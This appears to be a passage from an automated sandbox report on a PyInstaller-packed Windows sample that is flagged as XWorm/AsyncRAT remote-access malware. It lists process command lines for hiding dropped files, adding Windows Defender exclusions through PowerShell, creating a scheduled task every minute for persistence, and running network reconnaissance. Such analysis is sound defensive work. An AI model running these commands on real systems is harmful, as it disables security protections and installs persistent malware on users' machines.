2024-12-20 18:03:28 UTC	20	IN	Data Raw: 66 0d 0a 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 0a 0d 0a Data Ascii: fRedirecting...
2024-12-20 18:03:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:03:12
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\YgJ5inWPQO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\YgJ5inWPQO.exe"
Imagebase:	0x7ff7ff580000
File size:	7'714'025 bytes
MD5 hash:	ABBB4A5A77F9CF1530D24710A621026C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\YgJ5inWPQO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\YgJ5inWPQO.exe"
Imagebase:	0x7ff7ff580000
File size:	7'714'025 bytes
MD5 hash:	ABBB4A5A77F9CF1530D24710A621026C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe"
Imagebase:	0x7ff7a4f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe"
Imagebase:	0x7ff7a4f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\msedge.exe"
Imagebase:	0x7ff7a4f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\dddd.exe"
Imagebase:	0x7ff7a4f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe
Imagebase:	0x7ff7645b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\msedge.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\msedge.exe
Imagebase:	0x3d0000
File size:	83'968 bytes
MD5 hash:	A3B7B97F81C08C56A79971799B793072
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:03:13
Start date:	20/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe
Imagebase:	0x7ff7645b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:03:14
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\dddd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\dddd.exe
Imagebase:	0x26232200000
File size:	819'200 bytes
MD5 hash:	02C70D9D6696950C198DB93B7F6A835E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:03:14
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:03:14
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c ipconfig /all
Imagebase:	0x7ff7a4f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:03:14
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:03:14
Start date:	20/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff649180000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:03:19
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:03:19
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:03:28
Start date:	20/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6476 -s 2224
Imagebase:	0x7ff6938d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:03:29
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:03:29
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:03:43
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:03:43
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:04:01
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:04:01
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:04:28
Start date:	20/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe"
Imagebase:	0x7ff7c6980000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:04:28
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:04:29
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\System User.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\System User.exe"
Imagebase:	0xc40000
File size:	83'968 bytes
MD5 hash:	A3B7B97F81C08C56A79971799B793072
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:04:38
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\System User.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\System User.exe"
Imagebase:	0xaf0000
File size:	83'968 bytes
MD5 hash:	A3B7B97F81C08C56A79971799B793072
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:04:46
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\System User.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\System User.exe"
Imagebase:	0xdb0000
File size:	83'968 bytes
MD5 hash:	A3B7B97F81C08C56A79971799B793072
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:05:01
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Roaming\System User.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\System User.exe"
Imagebase:	0xba0000
File size:	83'968 bytes
MD5 hash:	A3B7B97F81C08C56A79971799B793072
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 00007FF7FF588BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588C46

Part of subcall function 00007FF7FF59A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59A500

Part of subcall function 00007FF7FF59878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5987F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588CD6
CreateProcessW.KERNELBASE ref: 00007FF7FF588D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588D18

Part of subcall function 00007FF7FF582C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
Part of subcall function 00007FF7FF582C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
Part of subcall function 00007FF7FF582C50: MessageBoxW.USER32 ref: 00007FF7FF582D99

RegisterClassW.USER32 ref: 00007FF7FF588D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588D7B
CreateWindowExW.USER32 ref: 00007FF7FF588DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E05
PeekMessageW.USER32 ref: 00007FF7FF588E29
TranslateMessage.USER32 ref: 00007FF7FF588E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E41
PeekMessageW.USER32 ref: 00007FF7FF588E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF7FF589009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF589012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF58901F

Strings

CreateProcessW, xrefs: 00007FF7FF588D27
PyInstallerOnefileHiddenWindow, xrefs: 00007FF7FF588D44
PyInstaller Onefile Hidden Window, xrefs: 00007FF7FF588D85
Failed to create child process!, xrefs: 00007FF7FF588D20

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: bb1e8f7c11fd39835bd5c9ebc188d4382c84938100bf41fe2b99b186b4af867f
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 98D15D32A09AC296EB10AF74E8542E9B760FB84B58F800335DA7D47AE4DF3CD555C7A0

Function 00007FF7FF581000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-runtime-tmpdir, xrefs: 00007FF7FF583B68
Could not create temporary directory!, xrefs: 00007FF7FF583CBF
_PYI_SPLASH_IPC, xrefs: 00007FF7FF583A23, 00007FF7FF583EF5
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7FF583EBB
Failed to convert DLL search path!, xrefs: 00007FF7FF583DDC
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7FF583971
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7FF583A17, 00007FF7FF583A2F, 00007FF7FF583A9B
pyi-contents-directory, xrefs: 00007FF7FF583B8D
Failed to load splash screen resources!, xrefs: 00007FF7FF583E85
Failed to start splash screen!, xrefs: 00007FF7FF583ED4
MEI, xrefs: 00007FF7FF583933
Py_GIL_DISABLED, xrefs: 00007FF7FF583AF4
VCRUNTIME140.dll, xrefs: 00007FF7FF583DB1
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7FF583B32
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7FF583882, 00007FF7FF5838AF
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7FF583BE8
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7FF583D35
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7FF583E0A
Failed to remove temporary directory: %s, xrefs: 00007FF7FF583FC3
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7FF583A0B, 00007FF7FF583CD4, 00007FF7FF583F6B
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7FF583D12
pkg, xrefs: 00007FF7FF5839BE
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7FF583C61
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7FF5839DE
pyi-python-flag, xrefs: 00007FF7FF583AD6
pyi-disable-windowed-traceback, xrefs: 00007FF7FF583BB2
_PYI_ARCHIVE_FILE, xrefs: 00007FF7FF5838D2, 00007FF7FF5839FF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7FF583EA6

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: f4bde723f435afbc19067a7a24fd6b211f61cdc128d128b32e21301cfb995a7e
Instruction ID: 57a01c2ceafa3121435a7f2d813a76db16d70b1190a458cf91c2cf10d2ca6edc
Opcode Fuzzy Hash: f4bde723f435afbc19067a7a24fd6b211f61cdc128d128b32e21301cfb995a7e
